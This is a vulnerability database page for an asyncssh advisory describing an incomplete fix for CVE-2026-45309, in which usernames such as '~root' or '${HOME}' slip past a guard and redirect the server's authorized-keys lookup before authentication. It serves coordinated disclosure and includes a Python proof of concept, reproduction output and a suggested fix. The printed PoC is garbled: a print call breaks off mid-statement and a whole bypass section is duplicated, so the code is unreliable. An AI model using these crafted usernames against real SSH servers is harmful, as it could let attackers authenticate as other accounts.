Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

PYSEC-2026-3809

MediumCVSS 5.9 / 10
Published Sep 10, 2026·Last modified Sep 10, 2026
Affected Components(1)
PyPI logoasyncssh
< 2.23.1
Description

Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The 2.23.0 guard that sanitises the SSH username before %u substitution in AuthorizedKeysFile blocks /, \ and .., but does not block a leading ~ (or ${ENV}), both of which are re-introduced by later expansion and reach the file open — defeating the guard.

Affected: asyncssh 2.23.0 and current develop (commit a60f863, HEAD on 2026-05-29).

Summary

The fix for CVE-2026-45309 added a guard in SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that rejects an SSH username containing /, \, or equal to .., before it is substituted for the %u token in AuthorizedKeysFile:

  if self._user == '..' or '/' in self._user or '\\' in self._user:
      raise IllegalUserName('Unsafe username substitution')

However, the %u-substituted value is subsequently passed through environment-variable expansion (_expand_val, config.py:145-149 — token expansion then env expansion) and, at file-open time, through expanduser() (read_authorized_keys → read_file → open(Path(filename).expanduser()), auth_keys.py:348 → misc.py:290). Both re-introduce the path control the guard was meant to remove, so a username that contains no //\ can still cause the server to read an authorized-keys file outside the intended per-user directory.

The client-supplied username reaches this path pre-authentication: _process_userauth_request takes the username from the SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and _finish_userauth calls reload_config() (connection.py:2536), which re-evaluates AuthorizedKeysFile with username=self._username (connection.py:5906) before the offered key is validated.

Primary vector — leading ~

A username such as ~root or ~victim passes the guard (no /). For a server whose AuthorizedKeysFile begins with %u — e.g. AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is ~victim/.ssh/authorized_keys, which expanduser() resolves to /home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~ → the server process's home). The username has therefore escaped the intended per-user location without using any path separator — defeating the purpose of the guard.

Note: expanduser() only expands a leading ~, so this vector requires %u to be the first path component of AuthorizedKeysFile. (The CVE-2026-45309 authorized_keys/%u example — %u not leading — is not reachable this way; that was the ../ form.)

Impact and limitations

  • Demonstrated (verified against source at a60f863): the guard is bypassable and the authorized-keys lookup is redirected to an attacker-named home tree, pre-auth, with a separator-free username.
  • Impact model = identical to CVE-2026-45309: authenticating as the redirected username when a readable authorized-keys file containing the attacker's key is reachable at the redirected location. The parent CVE accepted this exact precondition and was scored C:N/I:H/A:N; this is scored consistently.
  • Not built: a live multi-account SSH auth harness; the PoC verifies the path-redirection mechanism in-process, deterministically. No new primitive is claimed beyond the parent CVE's accepted model — only that the 2.23.0 fix does not close it for ~/${ENV}.
  • Preconditions (captured by AC:H): %u must be the leading path component; on Python 3.13, Path('~nonexistentuser').expanduser() raises RuntimeError, so only existing accounts are reachable (confirmed: asyncssh 2.23.0, Python 3.13.12).

Secondary vector — ${ENV} (defense-in-depth only)

A username like ${HOME} also passes the guard and is then environment-expanded, re-introducing /. Weaker and not a practical exploit: the attacker can only reference env vars that already exist in the server process (a missing variable raises ConfigParseError) and cannot control their values. Reported as hardening.

Reproduction

In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:

  cd /path/to/asyncssh
  PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py

Output (abridged):

  [1] original CVE '../../../../tmp/evil' blocked: True   (fix present)
      literal-slash user '/etc' blocked:           True
  [A] tilde bypass  user '~root':
      guard blocks it? False        (False == bypass)
      expanded config value : ['~root/.ssh/authorized_keys']
      after expanduser()    : /root/.ssh/authorized_keys   <-- read  as authorized_keys
  VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)

Suggested fix

Tighten _set_tokens to also reject usernames that re-introduce path control after expansion — reject a leading ~ / ~user and $/${ references in self._user. More robustly, validate that the FINAL expanded AuthorizedKeysFile path remains within the intended base directory, and/or suppress expanduser/environment expansion on the %u-derived component specifically.

Disclosure

Coordinated, ~90-day default. I will not publish details/PoC before a fix is released, and am happy to validate the patch. Credit (if given) to cesabici-bit.

PoC source

(see code block below)

 #!/usr/bin/env python3
  """
  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
  control). Local-only, in-process, deterministic. No network.

  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
  SSHServerConfig._set_tokens that rejects a client username containing
  '/', '\\', or equal to '..' before it is substituted for the %u token in
  the server's AuthorizedKeysFile directive.

  This PoC shows the blocklist is bypassable: the %u value is afterwards run
  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
  re-introduce the path control the guard was meant to remove.

  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
  a separator-free username (e.g. '~root') escape to another home tree when %u
  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
  only REFERENCE env vars that already exist on the server and cannot control
  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
  illustrate the expansion, and does NOT represent attacker capability. Treat (1)
  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.

  Run from a checkout of asyncssh (cwd on sys.path), e.g.:
      cd /tmp/targets/asyncssh && python3 <thisfile>
  """

  import os
  import sys
  import tempfile
  from pathlib import Path

  import asyncssh
  from asyncssh.config import SSHServerConfig

  try:
      from asyncssh.misc import IllegalUserName
  except Exception:  # pragma: no cover
      IllegalUserName = asyncssh.IllegalUserName


  def expand_authkeys(user, cfg_text):
      """Load a server config exactly as SSHServerConnection does and return the
      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
      CVE-2026-45309 guard fires."""
      with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
          f.write(cfg_text)
          cfg_path = f.name
      try:
          # mirror connection.py:8897
          #   SSHServerConfig.load(last_config, config, reload, canonical, final,
          #                        accept_addr, accept_port, username,
          #                        client_host, client_addr)
          cfg = SSHServerConfig.load(
              None, cfg_path, True, False, False,
              "127.0.0.1", 22, user, "client.example", "203.0.113.7",
          )
          return cfg.get("AuthorizedKeysFile")
      finally:
          os.unlink(cfg_path)


  def guard_blocks(user, cfg_text):
      """Return True if the CVE-2026-45309 guard rejects this username."""
      try:
          expand_authkeys(user, cfg_text)
          return False
      except IllegalUserName:
          return True


  def main():
      print(f"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})")
      print(f"# python {sys.version.split()[0]}\n")

      results = []

      # ---- Sanity 0: benign username expands normally -----------------------
      cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
      val = expand_authkeys("alice", cfg)
      print(f"[0] benign user 'alice':            {val}")
      results.append(("benign expands to per-user path",
                      val == ["/etc/ssh/authorized_keys.d/alice"]))

      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
      blocked = guard_blocks("../../../../tmp/evil", cfg)
      print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
      results.append(("original CVE traversal is blocked (fix present)", blocked))

      # also: a literal slash is blocked (the guard's whole purpose)
      slash_blocked = guard_blocks("/etc", cfg)
      print(f"    literal-slash user '/etc' blocked: {slash_blocked}")
      results.append(("literal-slash username is blocked", slash_blocked))

      print()

      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
      cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
      blocked_a = guard_blocks("~root", cfg_a)
      val_a = expand_authkeys("~root", cfg_a)
      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does
      print(f"[A] tilde bypass  user '~root':")
      print(f"    guard blocks it? {blocked_a}   (False == bypass)")
      print(f"    expanded config value : {val_a}")
      print(f"    after expanduser()    : {resolved_a}   <-- read as authorized_keys")
      results.append(("A: ~user NOT blocked by guard", not blocked_a))
      results.append(("A: expanduser() redirects to another home tree",
                      resolved_a.startswith("/root/") or "~" not in resolved_a))

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '${{HOME}}':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b} (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '${{HOME}}':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b}   (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",
            "guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
            if ok else "one or more checks did not hold")
      return 0 if ok else 1


  if __name__ == "__main__":
      sys.exit(main())
Upload your SBOM

Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.

Risk Scores
Base Score
5.9

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.

Threat Intelligence
5.4

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.39%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard